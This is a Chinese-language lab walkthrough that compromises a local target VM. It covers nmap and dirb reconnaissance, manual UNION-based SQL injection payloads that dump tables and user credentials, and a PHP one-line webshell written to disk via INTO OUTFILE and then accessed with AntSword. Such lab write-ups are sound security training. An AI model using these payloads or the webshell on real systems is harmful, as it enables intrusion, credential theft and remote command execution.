先在虚拟机上安装靶机
打开kali使用nmap端口扫描功能
输入 nmap 192.168.c段.1/24,即扫描同C段下的主机,筛掉 .1 、.2 、.254,排除剩余主机,找到靶机ip
此靶机ip为192.168.192.133
物理机浏览器直接访问靶机ip
获取网站的敏感目录/文件---使用御剑
找到两个敏感文件:http://192.168.192.133/robots. txt和
http://192.168.192.133/index.html
浏览器 访问 http://192.168.192.133/robots. txt
用kali的dirb进行扫描
http://192.168.192.133/m3diNf0
浏览器访问该文件info.php,找寻网站绝对路径
/home/www/html/web1x443290o2sdf92213 绝对路径
用kali的dirb命令扫描另一个路径 : http://192.168.192.133/se3reTdir777/
浏览器访问http://192.168.192.133/se3reTdir777/index.php
该页存在参数id,和提交。判断可能存在sql注入
输入1,点击提交 页面显示内容,正常
再输入 1' ,页面显示sql语法错误,则存在sql注入
使用BurpSuite工具获取数据库库名
打开BP拦截。输入1,点击提交,捕捉到包
将包发送到重放器,使用order by 判断字段数
uid=1' order by 3 //页面正常
uid=1' order by 4 //页面爆错
判断回显点
union select 1,2,3--+
获取数据库库名
union select 1,database(),3--+
爆破表名
' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='aiweb1'--+
爆破字段
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='aiweb1' and table_name='systemUser'--+
//爆出字段 id、userName、password
' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='aiweb1' and table_name='User'--+
//User表为空
爆字段数据
' union select 1,2,group_concat(userName,'~',password) from systemUser--+ /数据不完全显示
上传一句话木马
-1' union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php'--+
在浏览器中访问:192.168.192.133/se3reTdir777/uploads/1.php
打开蚁剑---新建连接---输入上一步的访问地址
输入密码:cmd,点击测试连接,连接成功
双击打开,可看到完整目录